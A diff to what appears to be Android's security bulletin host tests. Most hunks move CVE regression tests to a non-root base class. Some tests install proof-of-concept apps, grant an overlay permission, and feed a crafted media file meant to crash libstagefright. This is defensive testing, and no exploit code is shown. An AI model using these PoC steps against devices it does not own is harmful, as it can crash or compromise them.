+ public void testPocCVE_2021_0441() throws Exception {
+ ITestDevice device = getDevice();
+ uninstallPackage(device, TEST_PKG);
+
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage(TEST_APP);
+ runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2021_0441");
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java
index 1224dc2..90e65c2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0473 extends SecurityTestCase {
+public class CVE_2021_0473 extends NonRootSecurityTestCase {
/**
* b/179687208
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0478.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0478.java
index a3b1eae..558b092 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0478.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0478.java
@@ -18,13 +18,16 @@
import android.platform.test.annotations.AsbSecurityTest;
import android.platform.test.annotations.SecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0478 extends SecurityTestCase {
+public class CVE_2021_0478 extends NonRootSecurityTestCase {
/**
* b/169255797
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java
index 4d2acac..05aa43e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0484 extends SecurityTestCase {
+public class CVE_2021_0484 extends NonRootSecurityTestCase {
/**
* b/173720767
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java
index 8f37185..b26e072 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0490 extends SecurityTestCase {
+public class CVE_2021_0490 extends NonRootSecurityTestCase {
@AsbSecurityTest(cveBugId = 183464868)
@Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
index 30af472..7cd6360 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
@@ -21,7 +21,7 @@
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Assert;
import org.junit.Before;
@@ -29,7 +29,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0523 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0523 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.cve_2021_0523";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0523.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
index 5a7ec8d..f775822 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
@@ -20,14 +20,14 @@
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Assert;
import org.junit.Before;
import org.junit.runner.RunWith;
import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0586 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0586 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.cve_2021_0586";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0586.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
index eb74b20..92c6435 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
@@ -21,7 +21,7 @@
import android.platform.test.annotations.RequiresDevice;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import java.util.regex.Pattern;
import org.junit.Assert;
import org.junit.Before;
@@ -33,7 +33,7 @@
import static org.junit.Assume.assumeTrue;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0591 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0591 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0591";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java
index 0562b49..fecab0c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
+
import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0596 extends SecurityTestCase {
+public class CVE_2021_0596 extends NonRootSecurityTestCase {
/**
* b/181346550
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java
index d4bbfb3..41455a4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java
@@ -16,15 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
-
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0636 extends SecurityTestCase {
+public class CVE_2021_0636 extends NonRootSecurityTestCase {
public void testPocCVE_2021_0636(String mediaFileName) throws Exception {
/*
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
index 29fd2b3..2e1ddda 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
@@ -19,7 +19,7 @@
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -29,7 +29,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0642 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0642 extends NonRootSecurityTestCase {
static final String TEST_APP = "CVE-2021-0642.apk";
static final String TEST_PKG = "android.security.cts.cve_2021_0642";
static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0650.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0650.java
index e6cd19f..c50f2c0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0650.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0650.java
@@ -17,14 +17,18 @@
package android.security.cts;
+import static org.junit.Assume.assumeFalse;
+
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
+
import org.junit.Test;
-import static org.junit.Assume.*;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0650 extends SecurityTestCase {
+public class CVE_2021_0650 extends NonRootSecurityTestCase {
/**
* b/190286685
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
index 26bba4a..15c59ef 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
@@ -19,14 +19,14 @@
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Assert;
import org.junit.Before;
import org.junit.runner.RunWith;
import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0685 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0685 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.cve_2021_0685";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0685.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java
index 666f791..3bfcae4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
+
import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0689 extends SecurityTestCase {
+public class CVE_2021_0689 extends NonRootSecurityTestCase {
/**
* b/190188264
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
index bf261fd..01a3c07 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
@@ -22,7 +22,7 @@
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.log.LogUtil.CLog;
import org.junit.After;
@@ -38,7 +38,7 @@
* Test installs sample app and then tries to overwrite *.apk file
*/
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0691 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0691 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0691";
private static final String TEST_APP = "CVE-2021-0691.apk";
private static final String DEVICE_TMP_DIR = "/data/local/tmp/";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
index 2b7ad14..98deb18 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
@@ -19,13 +19,13 @@
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0693 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0693 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0693";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
index fabaf89..9225b56 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
@@ -20,13 +20,13 @@
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Before;
import org.junit.runner.RunWith;
import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0706 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0706 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0706";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java
index 3ae0303..5139425 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java
@@ -18,13 +18,16 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0919 extends SecurityTestCase {
+public class CVE_2021_0919 extends NonRootSecurityTestCase {
/**
* b/197336441
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
index 760c265..94f3b97 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
@@ -20,7 +20,7 @@
import android.util.Log;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.log.LogUtil.CLog;
import org.junit.After;
import org.junit.Assert;
@@ -30,7 +30,7 @@
import static org.junit.Assert.*;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0921 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0921 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0921";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0921.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java
index 6176589..b3c9717 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java
@@ -15,14 +15,18 @@
*/
package android.security.cts;
+
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0925 extends SecurityTestCase {
+public class CVE_2021_0925 extends NonRootSecurityTestCase {
/**
* Vulnerability Behaviour: SIGSEGV in self
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java
index cbf1088..d83f26a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java
@@ -23,7 +23,7 @@
import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Assert;
import org.junit.Before;
@@ -31,7 +31,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0928 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0928 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0928";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0928.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java
index ecb6bdd..833b93a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java
@@ -19,13 +19,13 @@
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0953 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0953 extends NonRootSecurityTestCase {
@AsbSecurityTest(cveBugId = 184046278)
@Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0954.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0954.java
index 5532e46..847feef 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0954.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0954.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -16,43 +16,39 @@
package android.security.cts;
-import android.platform.test.annotations.AppModeFull;
+import static org.junit.Assume.assumeNoException;
+
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import org.junit.Assert;
-import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0954 extends BaseHostJUnit4Test {
- private static final String TEST_PKG = "android.security.cts.cve_2021_0954";
- private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
- private static final String TEST_APP = "CVE-2021-0954.apk";
- private ITestDevice device;
+public class CVE_2021_0954 extends NonRootSecurityTestCase {
+ private static final String TEST_PKG = "android.security.cts.CVE_2021_0954";
- @Before
- public void setUp() throws Exception {
- device = getDevice();
- uninstallPackage(device, TEST_PKG);
-
- /* Wake up the screen */
- AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
- AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
- AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
- }
-
- @AppModeFull
@AsbSecurityTest(cveBugId = 143559931)
@Test
public void testPocCVE_2021_0954() throws Exception {
- installPackage(TEST_APP);
- AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
- device);
- runDeviceTests(TEST_PKG, TEST_CLASS, "testVulnerableActivityPresence");
+ try {
+ ITestDevice device = getDevice();
+ uninstallPackage(device, TEST_PKG);
+
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage("CVE-2021-0954.apk");
+ AdbUtils.runCommandLine(
+ "pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW", device);
+ runDeviceTests(TEST_PKG, TEST_PKG + "." + "DeviceTest", "testOverlayButtonPresence");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java
index 80fa239..eddde21 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java
@@ -17,14 +17,17 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0956 extends SecurityTestCase {
+public class CVE_2021_0956 extends NonRootSecurityTestCase {
/**
* b/189942532
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
index 65934f2..b7b0e2b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
@@ -21,7 +21,7 @@
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Assert;
import org.junit.Before;
@@ -29,7 +29,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0965 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0965 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0965";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0965.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java
index bfa056b..9a56b0c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java
@@ -19,12 +19,15 @@
import static org.junit.Assume.*;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_1906 extends SecurityTestCase {
+public class CVE_2021_1906 extends NonRootSecurityTestCase {
/**
* CVE-2021-1906
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java
index 415e2b1..7b4712f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java
@@ -15,15 +15,17 @@
*/
package android.security.cts;
-import android.platform.test.annotations.SecurityTest;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
-import org.junit.runner.RunWith;
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_30351 extends SecurityTestCase {
+public class CVE_2021_30351 extends NonRootSecurityTestCase {
/**
* CVE-2021-30351
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39623.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39623.java
new file mode 100644
index 0000000..aaaa502
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39623.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39623 extends NonRootSecurityTestCase {
+
+ /**
+ * b/194105348
+ * Vulnerability Behaviour: SIGSEGV in self
+ * Vulnerable Library: libstagefright (As per AOSP code)
+ * Vulnerable Function: doRead (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 194105348)
+ @Test
+ public void testPocCVE_2021_39623() throws Exception {
+ String binaryName = "CVE-2021-39623";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName)
+ .setBacktraceIncludes(new BacktraceFilterPattern("libstagefright",
+ "android::SimpleDecodingSource::doRead"));
+ String signals[] = {CrashUtils.SIGSEGV};
+ testConfig.config.setSignals(signals);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ String inputFiles[] = {"cve_2021_39623.ogg"};
